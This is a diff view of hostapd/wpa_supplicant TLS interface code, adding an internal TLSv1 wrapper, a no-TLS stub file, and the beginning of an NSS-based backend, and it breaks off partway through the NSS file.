int __must_check tls_connection_set_session_ticket_cb(
|
||||
void *tls_ctx, struct tls_connection *conn,
|
||||
tls_session_ticket_cb cb, void *ctx);
|
||||
|
||||
#endif /* TLS_H */
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,651 @@
|
|||
/*
|
||||
* TLS interface functions and an internal TLS implementation
|
||||
* Copyright (c) 2004-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*
|
||||
* This file interface functions for hostapd/wpa_supplicant to use the
|
||||
* integrated TLSv1 implementation.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "tls.h"
|
||||
#include "tls/tlsv1_client.h"
|
||||
#include "tls/tlsv1_server.h"
|
||||
|
||||
|
||||
static int tls_ref_count = 0;
|
||||
|
||||
struct tls_global {
|
||||
int server;
|
||||
struct tlsv1_credentials *server_cred;
|
||||
int check_crl;
|
||||
};
|
||||
|
||||
struct tls_connection {
|
||||
struct tlsv1_client *client;
|
||||
struct tlsv1_server *server;
|
||||
};
|
||||
|
||||
|
||||
void * tls_init(const struct tls_config *conf)
|
||||
{
|
||||
struct tls_global *global;
|
||||
|
||||
if (tls_ref_count == 0) {
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (tlsv1_client_global_init())
|
||||
return NULL;
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (tlsv1_server_global_init())
|
||||
return NULL;
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
}
|
||||
tls_ref_count++;
|
||||
|
||||
global = os_zalloc(sizeof(*global));
|
||||
if (global == NULL)
|
||||
return NULL;
|
||||
|
||||
return global;
|
||||
}
|
||||
|
||||
void tls_deinit(void *ssl_ctx)
|
||||
{
|
||||
struct tls_global *global = ssl_ctx;
|
||||
tls_ref_count--;
|
||||
if (tls_ref_count == 0) {
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
tlsv1_client_global_deinit();
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
tlsv1_cred_free(global->server_cred);
|
||||
tlsv1_server_global_deinit();
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
}
|
||||
os_free(global);
|
||||
}
|
||||
|
||||
|
||||
int tls_get_errors(void *tls_ctx)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
struct tls_connection * tls_connection_init(void *tls_ctx)
|
||||
{
|
||||
struct tls_connection *conn;
|
||||
struct tls_global *global = tls_ctx;
|
||||
|
||||
conn = os_zalloc(sizeof(*conn));
|
||||
if (conn == NULL)
|
||||
return NULL;
|
||||
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (!global->server) {
|
||||
conn->client = tlsv1_client_init();
|
||||
if (conn->client == NULL) {
|
||||
os_free(conn);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (global->server) {
|
||||
conn->server = tlsv1_server_init(global->server_cred);
|
||||
if (conn->server == NULL) {
|
||||
os_free(conn);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
|
||||
void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
if (conn == NULL)
|
||||
return;
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client)
|
||||
tlsv1_client_deinit(conn->client);
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server)
|
||||
tlsv1_server_deinit(conn->server);
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
os_free(conn);
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_established(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client)
|
||||
return tlsv1_client_established(conn->client);
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server)
|
||||
return tlsv1_server_established(conn->server);
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client)
|
||||
return tlsv1_client_shutdown(conn->client);
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server)
|
||||
return tlsv1_server_shutdown(conn->server);
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
|
||||
const struct tls_connection_params *params)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
struct tlsv1_credentials *cred;
|
||||
|
||||
if (conn->client == NULL)
|
||||
return -1;
|
||||
|
||||
cred = tlsv1_cred_alloc();
|
||||
if (cred == NULL)
|
||||
return -1;
|
||||
|
||||
if (tlsv1_set_ca_cert(cred, params->ca_cert,
|
||||
params->ca_cert_blob, params->ca_cert_blob_len,
|
||||
params->ca_path)) {
|
||||
wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA "
|
||||
"certificates");
|
||||
tlsv1_cred_free(cred);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (tlsv1_set_cert(cred, params->client_cert,
|
||||
params->client_cert_blob,
|
||||
params->client_cert_blob_len)) {
|
||||
wpa_printf(MSG_INFO, "TLS: Failed to configure client "
|
||||
"certificate");
|
||||
tlsv1_cred_free(cred);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (tlsv1_set_private_key(cred, params->private_key,
|
||||
params->private_key_passwd,
|
||||
params->private_key_blob,
|
||||
params->private_key_blob_len)) {
|
||||
wpa_printf(MSG_INFO, "TLS: Failed to load private key");
|
||||
tlsv1_cred_free(cred);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob,
|
||||
params->dh_blob_len)) {
|
||||
wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters");
|
||||
tlsv1_cred_free(cred);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (tlsv1_client_set_cred(conn->client, cred) < 0) {
|
||||
tlsv1_cred_free(cred);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
#else /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
return -1;
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
}
|
||||
|
||||
|
||||
int tls_global_set_params(void *tls_ctx,
|
||||
const struct tls_connection_params *params)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
struct tls_global *global = tls_ctx;
|
||||
struct tlsv1_credentials *cred;
|
||||
|
||||
/* Currently, global parameters are only set when running in server
|
||||
* mode. */
|
||||
global->server = 1;
|
||||
tlsv1_cred_free(global->server_cred);
|
||||
global->server_cred = cred = tlsv1_cred_alloc();
|
||||
if (cred == NULL)
|
||||
return -1;
|
||||
|
||||
if (tlsv1_set_ca_cert(cred, params->ca_cert, params->ca_cert_blob,
|
||||
params->ca_cert_blob_len, params->ca_path)) {
|
||||
wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA "
|
||||
"certificates");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (tlsv1_set_cert(cred, params->client_cert, params->client_cert_blob,
|
||||
params->client_cert_blob_len)) {
|
||||
wpa_printf(MSG_INFO, "TLS: Failed to configure server "
|
||||
"certificate");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (tlsv1_set_private_key(cred, params->private_key,
|
||||
params->private_key_passwd,
|
||||
params->private_key_blob,
|
||||
params->private_key_blob_len)) {
|
||||
wpa_printf(MSG_INFO, "TLS: Failed to load private key");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob,
|
||||
params->dh_blob_len)) {
|
||||
wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
#else /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return -1;
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
}
|
||||
|
||||
|
||||
int tls_global_set_verify(void *tls_ctx, int check_crl)
|
||||
{
|
||||
struct tls_global *global = tls_ctx;
|
||||
global->check_crl = check_crl;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn,
|
||||
int verify_peer)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server)
|
||||
return tlsv1_server_set_verify(conn->server, verify_peer);
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn,
|
||||
int tls_ia)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn,
|
||||
struct tls_keys *keys)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client)
|
||||
return tlsv1_client_get_keys(conn->client, keys);
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server)
|
||||
return tlsv1_server_get_keys(conn->server, keys);
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_prf(void *tls_ctx, struct tls_connection *conn,
|
||||
const char *label, int server_random_first,
|
||||
u8 *out, size_t out_len)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client) {
|
||||
return tlsv1_client_prf(conn->client, label,
|
||||
server_random_first,
|
||||
out, out_len);
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server) {
|
||||
return tlsv1_server_prf(conn->server, label,
|
||||
server_random_first,
|
||||
out, out_len);
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_handshake(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data,
|
||||
struct wpabuf **appl_data)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
u8 *res, *ad;
|
||||
size_t res_len, ad_len;
|
||||
struct wpabuf *out;
|
||||
|
||||
if (conn->client == NULL)
|
||||
return NULL;
|
||||
|
||||
ad = NULL;
|
||||
res = tlsv1_client_handshake(conn->client,
|
||||
in_data ? wpabuf_head(in_data) : NULL,
|
||||
in_data ? wpabuf_len(in_data) : 0,
|
||||
&res_len, &ad, &ad_len);
|
||||
if (res == NULL)
|
||||
return NULL;
|
||||
out = wpabuf_alloc_ext_data(res, res_len);
|
||||
if (out == NULL) {
|
||||
os_free(res);
|
||||
os_free(ad);
|
||||
return NULL;
|
||||
}
|
||||
if (appl_data) {
|
||||
if (ad) {
|
||||
*appl_data = wpabuf_alloc_ext_data(ad, ad_len);
|
||||
if (*appl_data == NULL)
|
||||
os_free(ad);
|
||||
} else
|
||||
*appl_data = NULL;
|
||||
} else
|
||||
os_free(ad);
|
||||
|
||||
return out;
|
||||
#else /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
return NULL;
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data,
|
||||
struct wpabuf **appl_data)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
u8 *res;
|
||||
size_t res_len;
|
||||
struct wpabuf *out;
|
||||
|
||||
if (conn->server == NULL)
|
||||
return NULL;
|
||||
|
||||
if (appl_data)
|
||||
*appl_data = NULL;
|
||||
|
||||
res = tlsv1_server_handshake(conn->server, wpabuf_head(in_data),
|
||||
wpabuf_len(in_data), &res_len);
|
||||
if (res == NULL && tlsv1_server_established(conn->server))
|
||||
return wpabuf_alloc(0);
|
||||
if (res == NULL)
|
||||
return NULL;
|
||||
out = wpabuf_alloc_ext_data(res, res_len);
|
||||
if (out == NULL) {
|
||||
os_free(res);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return out;
|
||||
#else /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return NULL;
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client) {
|
||||
struct wpabuf *buf;
|
||||
int res;
|
||||
buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
|
||||
if (buf == NULL)
|
||||
return NULL;
|
||||
res = tlsv1_client_encrypt(conn->client, wpabuf_head(in_data),
|
||||
wpabuf_len(in_data),
|
||||
wpabuf_mhead(buf),
|
||||
wpabuf_size(buf));
|
||||
if (res < 0) {
|
||||
wpabuf_free(buf);
|
||||
return NULL;
|
||||
}
|
||||
wpabuf_put(buf, res);
|
||||
return buf;
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server) {
|
||||
struct wpabuf *buf;
|
||||
int res;
|
||||
buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
|
||||
if (buf == NULL)
|
||||
return NULL;
|
||||
res = tlsv1_server_encrypt(conn->server, wpabuf_head(in_data),
|
||||
wpabuf_len(in_data),
|
||||
wpabuf_mhead(buf),
|
||||
wpabuf_size(buf));
|
||||
if (res < 0) {
|
||||
wpabuf_free(buf);
|
||||
return NULL;
|
||||
}
|
||||
wpabuf_put(buf, res);
|
||||
return buf;
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client) {
|
||||
struct wpabuf *buf;
|
||||
int res;
|
||||
buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3);
|
||||
if (buf == NULL)
|
||||
return NULL;
|
||||
res = tlsv1_client_decrypt(conn->client, wpabuf_head(in_data),
|
||||
wpabuf_len(in_data),
|
||||
wpabuf_mhead(buf),
|
||||
wpabuf_size(buf));
|
||||
if (res < 0) {
|
||||
wpabuf_free(buf);
|
||||
return NULL;
|
||||
}
|
||||
wpabuf_put(buf, res);
|
||||
return buf;
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server) {
|
||||
struct wpabuf *buf;
|
||||
int res;
|
||||
buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3);
|
||||
if (buf == NULL)
|
||||
return NULL;
|
||||
res = tlsv1_server_decrypt(conn->server, wpabuf_head(in_data),
|
||||
wpabuf_len(in_data),
|
||||
wpabuf_mhead(buf),
|
||||
wpabuf_size(buf));
|
||||
if (res < 0) {
|
||||
wpabuf_free(buf);
|
||||
return NULL;
|
||||
}
|
||||
wpabuf_put(buf, res);
|
||||
return buf;
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client)
|
||||
return tlsv1_client_resumed(conn->client);
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server)
|
||||
return tlsv1_server_resumed(conn->server);
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn,
|
||||
u8 *ciphers)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client)
|
||||
return tlsv1_client_set_cipher_list(conn->client, ciphers);
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server)
|
||||
return tlsv1_server_set_cipher_list(conn->server, ciphers);
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_get_cipher(void *tls_ctx, struct tls_connection *conn,
|
||||
char *buf, size_t buflen)
|
||||
{
|
||||
if (conn == NULL)
|
||||
return -1;
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client)
|
||||
return tlsv1_client_get_cipher(conn->client, buf, buflen);
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server)
|
||||
return tlsv1_server_get_cipher(conn->server, buf, buflen);
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_enable_workaround(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn,
|
||||
int ext_type, const u8 *data,
|
||||
size_t data_len)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client) {
|
||||
return tlsv1_client_hello_ext(conn->client, ext_type,
|
||||
data, data_len);
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_write_alerts(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_keyblock_size(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client)
|
||||
return tlsv1_client_get_keyblock_size(conn->client);
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server)
|
||||
return tlsv1_server_get_keyblock_size(conn->server);
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
unsigned int tls_capabilities(void *tls_ctx)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_ia_send_phase_finished(
|
||||
void *tls_ctx, struct tls_connection *conn, int final)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_ia_final_phase_finished(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_ia_permute_inner_secret(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const u8 *key, size_t key_len)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_session_ticket_cb(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
tls_session_ticket_cb cb,
|
||||
void *ctx)
|
||||
{
|
||||
#ifdef CONFIG_TLS_INTERNAL_CLIENT
|
||||
if (conn->client) {
|
||||
tlsv1_client_set_session_ticket_cb(conn->client, cb, ctx);
|
||||
return 0;
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_CLIENT */
|
||||
#ifdef CONFIG_TLS_INTERNAL_SERVER
|
||||
if (conn->server) {
|
||||
tlsv1_server_set_session_ticket_cb(conn->server, cb, ctx);
|
||||
return 0;
|
||||
}
|
||||
#endif /* CONFIG_TLS_INTERNAL_SERVER */
|
||||
return -1;
|
||||
}
|
|
@ -0,0 +1,229 @@
|
|||
/*
|
||||
* SSL/TLS interface functions for no TLS case
|
||||
* Copyright (c) 2004-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "tls.h"
|
||||
|
||||
void * tls_init(const struct tls_config *conf)
|
||||
{
|
||||
return (void *) 1;
|
||||
}
|
||||
|
||||
|
||||
void tls_deinit(void *ssl_ctx)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
int tls_get_errors(void *tls_ctx)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
struct tls_connection * tls_connection_init(void *tls_ctx)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_established(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
|
||||
const struct tls_connection_params *params)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_global_set_params(void *tls_ctx,
|
||||
const struct tls_connection_params *params)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_global_set_verify(void *tls_ctx, int check_crl)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn,
|
||||
int verify_peer)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn,
|
||||
int tls_ia)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn,
|
||||
struct tls_keys *keys)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_prf(void *tls_ctx, struct tls_connection *conn,
|
||||
const char *label, int server_random_first,
|
||||
u8 *out, size_t out_len)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_handshake(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data,
|
||||
struct wpabuf **appl_data)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data,
|
||||
struct wpabuf **appl_data)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn,
|
||||
u8 *ciphers)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_get_cipher(void *tls_ctx, struct tls_connection *conn,
|
||||
char *buf, size_t buflen)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_enable_workaround(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn,
|
||||
int ext_type, const u8 *data,
|
||||
size_t data_len)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_write_alerts(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_keyblock_size(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
unsigned int tls_capabilities(void *tls_ctx)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_ia_send_phase_finished(
|
||||
void *tls_ctx, struct tls_connection *conn, int final)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_ia_final_phase_finished(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_ia_permute_inner_secret(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const u8 *key, size_t key_len)
|
||||
{
|
||||
return -1;
|
||||
}
|
|
@ -0,0 +1,680 @@
|
|||
/*
|
||||
* SSL/TLS interface functions for NSS
|
||||
* Copyright (c) 2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
#include <nspr/prtypes.h>
|
||||
#include <nspr/plarenas.h>
|
||||
#include <nspr/plhash.h>
|
||||
#include <nspr/prio.h>
|
||||
#include <nspr/prclist.h>
|
||||
#include <nspr/prlock.h>
|
||||
#include <nspr/prinit.h>
|
||||
#include <nspr/prerror.h>
|
||||
#include <nspr/prmem.h>
|
||||
#include <nss/nss.h>
|
||||
#include <nss/nssilckt.h>
|
||||
#include <nss/ssl.h>
|
||||
#include <nss/pk11func.h>
|
||||
#include <nss/secerr.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "tls.h"
|
||||
|
||||
static int tls_nss_ref_count = 0;
|
||||
|
||||
static PRDescIdentity nss_layer_id;
|
||||
|
||||
|
||||
struct tls_connection {
|
||||
PRFileDesc *fd;
|
||||
|
||||
int established;
|
||||
int verify_peer;
|
||||
u8 *push_buf, *pull_buf, *pull_buf_offset;
|
||||
size_t push_buf_len, pull_buf_len;
|
||||
};
|
||||
|
||||
|
||||
static PRStatus nss_io_close(PRFileDesc *fd)
|
||||
{
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O close");
|
||||
return PR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
static PRInt32 nss_io_read(PRFileDesc *fd, void *buf, PRInt32 amount)
|
||||
{
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O read(%d)", amount);
|
||||
return PR_FAILURE;
|
||||
}
|
||||
|
||||
|
||||
static PRInt32 nss_io_write(PRFileDesc *fd, const void *buf, PRInt32 amount)
|
||||
{
|
||||
wpa_printf(MSG_DEBUG, "NSS: I/O write(%d)", amount);
|
||||
